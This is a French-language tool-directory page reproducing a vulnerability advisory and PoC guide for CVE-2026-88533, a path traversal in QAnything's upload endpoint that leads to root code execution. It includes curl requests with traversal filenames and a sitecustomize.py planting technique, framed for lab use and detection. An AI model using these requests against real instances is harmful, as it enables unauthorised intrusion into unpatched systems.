Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-88533 — PoC et reproduction en laboratoire pour CVE-2026-88533, une écriture de fichier arbitraire non authentifiée menant à une RCE root dans QAnything via une traversée de chemin dans le point de terminaison d'upload. | Kitploit
Outils/GitHubGitHub/hemlock-lyk/cve-2026-88533
Analyse des VulnérabilitésExploitationExploitation d'Applications WebSécurité WebTests d'IntrusionApprentissage et ÉducationLabs et Pratique
GitHubhemlock-lyk/cve-2026-88533

CVE-2026-88533

PoC et reproduction en laboratoire pour CVE-2026-88533, une écriture de fichier arbitraire non authentifiée menant à une RCE root dans QAnything via une traversée de chemin dans le point de terminaison d'upload.

Voir le dépôt
1il y a 10h 28mPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2026-88533 : Écriture de fichier arbitraire non authentifiée → RCE en root dans QAnything

ID CVE : CVE-2026-88533 (attribué par MITRE, publication de l'enregistrement en attente) Produit : QAnything par netease-youdao — plateforme open-source de RAG / questions-réponses sur base de connaissances Affecté : v1.4.x jusqu'à v2.0.0 (branche par défaut qanything-v2, jusqu'au commit final 65de104) Version corrigée : aucune — projet non maintenu depuis le 2025-03-12 ; le seul correctif d'assainissement (PR #483) réside sur la branche héritée master et n'a jamais été fusionné dans qanything-v2 Faiblesse : CWE-22 Traversée de chemin Impact : Création de fichier arbitraire non authentifiée → Exécution de code à distance en tant que uid=0(root) Découvreur : Yankui Li


Résumé

Le point de terminaison de téléversement de fichiers POST /api/local_doc_qa/upload_files prend le filename multipart contrôlé par l'attaquant et l'utilise comme chemin de destination sans assainir les séparateurs de chemin. urllib.parse.unquote() développe %2f en /, le filtrage des caractères pleine largeur et la troncature de longueur laissent ../ et les chemins absolus intacts, et os.path.join(base, name) abandonne entièrement la base lorsque name est absolu. Le open(file_location, "wb") résultant écrit le contenu contrôlé par l'attaquant partout où le processus peut atteindre — à l'intérieur d'un conteneur root par défaut.

Comme le produit n'exige aucune authentification nulle part (user_id/user_info sont de simples paramètres de requête), toute instance accessible par le réseau accepte cela de manière anonyme.

Cause racine

root@kitploit:~
handler.py :: upload_files
    file.name  ──►  urllib.parse.unquote()          # %2f → "/"
              ──►  full-width char filter           # cosmetic only
              ──►  truncate_filename()              # length cap, no "/" or ".." filtering

core/local_file.py :: LocalFile.__init__
    file_location = os.path.join(file_dir, file_name)   # absolute name → base discarded
    open(file_location, "wb")                           # arbitrary write

Deux propriétés rendent cela exploitable de manière fiable :

  1. Les chemins absolus fonctionnent directement — aucun comptage de ../ nécessaire.
  2. La traversée relative fonctionne aussi — %2e%2e%2f survit car unquote s'exécute avant tout filtre.

Un contraste de durcissement au sein de la même base de code : le point de terminaison upload_faqs remplace / par _ dans les noms de fichiers. upload_files n'a jamais reçu ce traitement, ce qui en fait le seul vecteur d'écriture.

Remarque : LocalFile.__init__ possède une garde if not os.path.exists(file_location), donc seuls les nouveaux fichiers peuvent être créés — les fichiers existants ne peuvent pas être écrasés. L'exploitation cible donc des fichiers nouveaux à des emplacements exécutables.

De l'écriture arbitraire au RCE en root

L'image Docker officielle exécute le backend Python en tant que root. CPython importe automatiquement sitecustomize.py depuis site-packages au démarrage de l'interpréteur — un fichier fraîchement déposé à :

root@kitploit:~
usr/local/lib/python3.10/site-packages/sitecustomize.py

(7×../ relatif, ou chemin absolu) est importé la prochaine fois que le backend démarre, exécutant le code de l'attaquant en tant que uid=0(root).

Pourquoi site-packages et non le répertoire de l'application ? CPython exécute site.py avant d'insérer sys.path[0], donc un sitecustomize.py à côté du script d'entrée n'est pas auto-importé. site-packages est la seule zone de dépôt fiable.

D'autres vecteurs ont été testés et écartés (documentés pour être exhaustif) :

  • /etc/cron.d/ — le répertoire existe et accepte les écritures, mais l'image ne fournit aucun démon cron, donc rien n'exécute jamais la charge utile.
  • Écrasement de fichiers de configuration/code existants — bloqué par la garde d'existence.

Reproduction en laboratoire

Image officielle + source vulnérable épinglée (commit 65de104) :

root@kitploit:~
git clone <this-repo> && cd CVE-2026-88533
git clone https://github.com/netease-youdao/QAnything
cd QAnything && git checkout 65de104 && cd ..
docker compose -f docker-compose-lab.yaml up -d
# wait for the backend:
curl http://127.0.0.1:8777/api/health_check

Utilisation du PoC (zéro dépendance, uniquement la bibliothèque standard Python 3)

Le script PoC est fourni dans ce dépôt (poc_qanything_cve_2026_88533.py) — chaque élément de preuve ci-dessous a été produit en l'exécutant contre la pile de laboratoire ci-dessus. Clonez et reproduisez la sortie exacte vous-même :

root@kitploit:~
# Step 1 — write primitive (harmless): marker written to /tmp inside the
# container via absolute-path multipart filename, then read back as proof
python poc_qanything_cve_2026_88533.py --mode check --container qanything-container-local

# Step 2 — full chain (LAB ONLY): sitecustomize.py into site-packages,
# container restart, code execution proven as uid=0(root)
python poc_qanything_cve_2026_88533.py --mode full --container qanything-container-local

# Optional out-of-band callback for network-level proof:
#   ... --mode full --oob http://your-oob-endpoint/cb

--mode full redémarre le conteneur cible une fois (comportement documenté ; l'import CPython se déclenche au démarrage). Tout est livré sûr par défaut : pas de reverse shell, pas de charge utile destructive — la charge utile de démonstration écrit un fichier marqueur contenant la sortie de id.

À quoi ressemble le trafic d'attaque

L'attaque entière consiste en deux POST HTTP ; voici ce que le contenu de détection doit cibler (le filename multipart portant un chemin absolu ou des séquences ..//%2f est le signal clé) :

root@kitploit:~
# 1) anonymous knowledge base
curl -s -X POST http://TARGET:8777/api/local_doc_qa/new_knowledge_base \
  -H "Content-Type: application/json" \
  -d '{"user_id":"anyuser","user_info":"1234","kb_id":"KBattacker1","kb_name":"x"}'

# 2) upload: the filename IS the destination path (absolute path also works)
curl -s -X POST http://TARGET:8777/api/local_doc_qa/upload_files \
  -F "user_id=anyuser" -F "kb_id=KBattacker1" -F "mode=strong" \
  -F '[email protected];filename=../../../../../../../usr/local/lib/python3.10/site-packages/sitecustomize.py'

Preuves

Toutes les preuves ci-dessous sont la sortie terminal réelle de poc_qanything_cve_2026_88533.py (le script de ce dépôt) exécuté contre la pile de laboratoire construite à partir de docker-compose-lab.yaml. Aucune étape n'a été falsifiée ou simulée — le script se termine avec un code non nul sauf si chaque vérification passe, vous pouvez donc vérifier la chaîne de bout en bout vous-même.

Pile de laboratoire — image officielle + dépendances minimales, tous les conteneurs sains :

Lab stack

--mode check — primitive d'écriture non authentifiée confirmée : le marqueur a été écrit en dehors du répertoire de téléversement via un nom de fichier multipart à chemin absolu et relu depuis l'intérieur du conteneur :

Check mode

--mode full — après le redémarrage du conteneur, CPython auto-importe le sitecustomize.py planté ; le marqueur de la charge utile prouve l'exécution en tant que uid=0(root) :

Full chain

La transcription terminale complète de l'exécution --mode full montrée ci-dessus est également incluse, verbatim : evidence/full-chain-run-2026-09-18.log — 6/6 vérifications [OK], verdict RCE CONFIRMED, marqueur de charge utile prouvant uid=0(root) avec un horodatage (les valeurs nonce/kb_id dans le journal sont générées aléatoirement à chaque exécution, donc votre propre exécution différera — c'est attendu).

Une capture d'écran de la page d'enregistrement CVE sera ajoutée une fois l'enregistrement publié.

Chronologie

DateÉvénement
2026-08-25Vulnérabilité découverte ; primitive d'écriture vérifiée contre une instance en direct (marqueur inoffensif + relecture)
2026-08-29Chaîne RCE complète reproduite dans un laboratoire local isolé ; rapport rédigé ; soumis à MITRE (CNA-LR) via cveform
2026-09-18CVE-2026-88533 attribué par MITRE
À déterminerEnregistrement CVE publié ; ce dépôt et une analyse détaillée publiés

Avertissement

Ce matériel est publié à des fins de recherche défensive et éducative. Utilisez-le uniquement contre des systèmes que vous possédez ou pour lesquels vous disposez d'une autorisation écrite explicite de tester. Voir DISCLAIMER.md.

Télécharger l’outil